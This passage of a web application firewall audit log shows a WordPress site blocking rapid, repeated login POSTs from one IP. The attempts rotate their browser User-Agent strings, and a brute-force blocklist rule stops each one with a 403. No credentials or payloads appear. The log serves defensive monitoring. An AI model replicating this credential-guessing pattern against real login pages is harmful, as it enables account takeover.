Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313949573049 2473 (- - -)
Stopwatch2: 1789313949573049 2473; combined=798, p1=351, p2=126, p3=0, p4=0, p5=321, sr=146, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8584c824-Z--
--0cc65333-A--
[13/Sep/2026:18:39:09.955144 +0300] aqbDnfut1GUrjaX0wO44dwAAAMk 134.185.87.66 43332 127.0.0.1 7081
--0cc65333-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 115
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--0cc65333-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--0cc65333-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313949953432 1778 (- - -)
Stopwatch2: 1789313949953432 1778; combined=622, p1=276, p2=74, p3=0, p4=0, p5=272, sr=123, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0cc65333-Z--
--df484607-A--
[13/Sep/2026:18:39:10.340094 +0300] aqbDnvut1GUrjaX0wO44eQAAANM 134.185.87.66 43352 127.0.0.1 7081
--df484607-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 97
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--df484607-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--df484607-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313950338096 2053 (- - -)
Stopwatch2: 1789313950338096 2053; combined=694, p1=301, p2=141, p3=0, p4=0, p5=251, sr=98, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--df484607-Z--
--63d2b006-A--
[13/Sep/2026:18:39:10.721786 +0300] aqbDnhsbgHO3aGL3jiTwsAAAABM 134.185.87.66 43382 127.0.0.1 7081
--63d2b006-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 93
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--63d2b006-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--63d2b006-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313950719783 2058 (- - -)
Stopwatch2: 1789313950719783 2058; combined=601, p1=238, p2=97, p3=0, p4=0, p5=266, sr=98, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--63d2b006-Z--
--52cb0532-A--
[13/Sep/2026:18:39:11.114784 +0300] aqbDnxsbgHO3aGL3jiTwsQAAABg 134.185.87.66 43398 127.0.0.1 7081
--52cb0532-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 95
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--52cb0532-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--52cb0532-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313951112733 2122 (- - -)
Stopwatch2: 1789313951112733 2122; combined=763, p1=342, p2=88, p3=0, p4=0, p5=333, sr=172, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--52cb0532-Z--
--72d60376-A--
[13/Sep/2026:18:39:11.505670 +0300] aqbDn-ut1GUrjaX0wO44fQAAANE 134.185.87.66 43418 127.0.0.1 7081
--72d60376-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 124
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--72d60376-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--72d60376-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313951503722 2020 (- - -)
Stopwatch2: 1789313951503722 2020; combined=672, p1=285, p2=84, p3=0, p4=0, p5=303, sr=94, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--72d60376-Z--
--9eca1a6a-A--
[13/Sep/2026:18:39:11.905343 +0300] aqbDn0hjHs68UzErry1KwgAAAJM 134.185.87.66 43438 127.0.0.1 7081
--9eca1a6a-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 102
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--9eca1a6a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--9eca1a6a-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313951903541 1866 (- - -)
Stopwatch2: 1789313951903541 1866; combined=559, p1=268, p2=74, p3=0, p4=0, p5=217, sr=96, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--9eca1a6a-Z--
--62e1826a-A--
[13/Sep/2026:18:39:12.283749 +0300] aqbDoEhjHs68UzErry1KwwAAAJQ 134.185.87.66 43466 127.0.0.1 7081
--62e1826a-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 98
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--62e1826a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--62e1826a-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313952282042 1770 (- - -)
Stopwatch2: 1789313952282042 1770; combined=622, p1=242, p2=80, p3=0, p4=0, p5=300, sr=85, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--62e1826a-Z--
--2c97e05f-A--
[13/Sep/2026:18:39:12.664429 +0300] aqbDoPut1GUrjaX0wO44gQAAAMM 134.185.87.66 43480 127.0.0.1 7081
--2c97e05f-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 121
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:93.0) Gecko/20100101 Firefox/93.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--2c97e05f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--2c97e05f-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313952661784 2713 (- - -)
Stopwatch2: 1789313952661784 2713; combined=1261, p1=869, p2=96, p3=0, p4=0, p5=296, sr=100, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2c97e05f-Z--
--83fe3c38-A--
[13/Sep/2026:18:39:13.045910 +0300] aqbDoUhjHs68UzErry1KxAAAAJc 134.185.87.66 43498 127.0.0.1 7081
--83fe3c38-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 121
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--83fe3c38-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--83fe3c38-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313953044068 1897 (- - -)
Stopwatch2: 1789313953044068 1897; combined=677, p1=302, p2=72, p3=0, p4=0, p5=303, sr=163, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--83fe3c38-Z--
--faa95219-A--
[13/Sep/2026:18:39:13.431702 +0300] aqbDofut1GUrjaX0wO44gwAAANU 134.185.87.66 43520 127.0.0.1 7081
--faa95219-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 127
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--faa95219-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--faa95219-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313953429904 1863 (- - -)
Stopwatch2: 1789313953429904 1863; combined=651, p1=258, p2=81, p3=0, p4=0, p5=312, sr=91, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--faa95219-Z--
--402b8910-A--
[13/Sep/2026:18:39:13.815101 +0300] aqbDoUhjHs68UzErry1KxQAAAIU 134.185.87.66 43548 127.0.0.1 7081
--402b8910-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0.1
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--402b8910-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--402b8910-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313953813263 1914 (- - -)
Stopwatch2: 1789313953813263 1914; combined=645, p1=260, p2=87, p3=0, p4=0, p5=298, sr=96, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--402b8910-Z--
--ba8e1974-A--
[13/Sep/2026:18:39:14.201262 +0300] aqbDokhjHs68UzErry1KxgAAAIQ 134.185.87.66 43568 127.0.0.1 7081
--ba8e1974-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 112
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--ba8e1974-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--ba8e1974-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313954199536 1782 (- - -)
Stopwatch2: 1789313954199536 1782; combined=610, p1=279, p2=107, p3=0, p4=0, p5=224, sr=99, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ba8e1974-Z--
--9da04604-A--
[13/Sep/2026:18:39:14.587899 +0300] aqbDovut1GUrjaX0wO44hgAAAMo 134.185.87.66 43578 127.0.0.1 7081
--9da04604-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 118
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--9da04604-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--9da04604-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313954586217 1747 (- - -)
Stopwatch2: 1789313954586217 1747; combined=530, p1=231, p2=72, p3=0, p4=0, p5=226, sr=81, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--9da04604-Z--
--3c472518-A--
[13/Sep/2026:18:39:14.976390 +0300] aqbDovut1GUrjaX0wO44iAAAAMY 134.185.87.66 43600 127.0.0.1 7081
--3c472518-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 112
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--3c472518-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--3c472518-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313954974720 1725 (- - -)
Stopwatch2: 1789313954974720 1725; combined=575, p1=236, p2=77, p3=0, p4=0, p5=262, sr=79, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3c472518-Z--
--d7ce5977-A--
[13/Sep/2026:18:39:15.367261 +0300] aqbDo-ut1GUrjaX0wO44iQAAAMQ 134.185.87.66 43622 127.0.0.1 7081
--d7ce5977-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 109
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--d7ce5977-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--d7ce5977-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313955365274 2042 (- - -)
Stopwatch2: 1789313955365274 2042; combined=722, p1=374, p2=98, p3=0, p4=0, p5=250, sr=122, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d7ce5977-Z--
--6d56ce4b-A--
[13/Sep/2026:18:39:15.750604 +0300] aqbDo-ut1GUrjaX0wO44iwAAAMc 134.185.87.66 59664 127.0.0.1 7081
--6d56ce4b-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 118
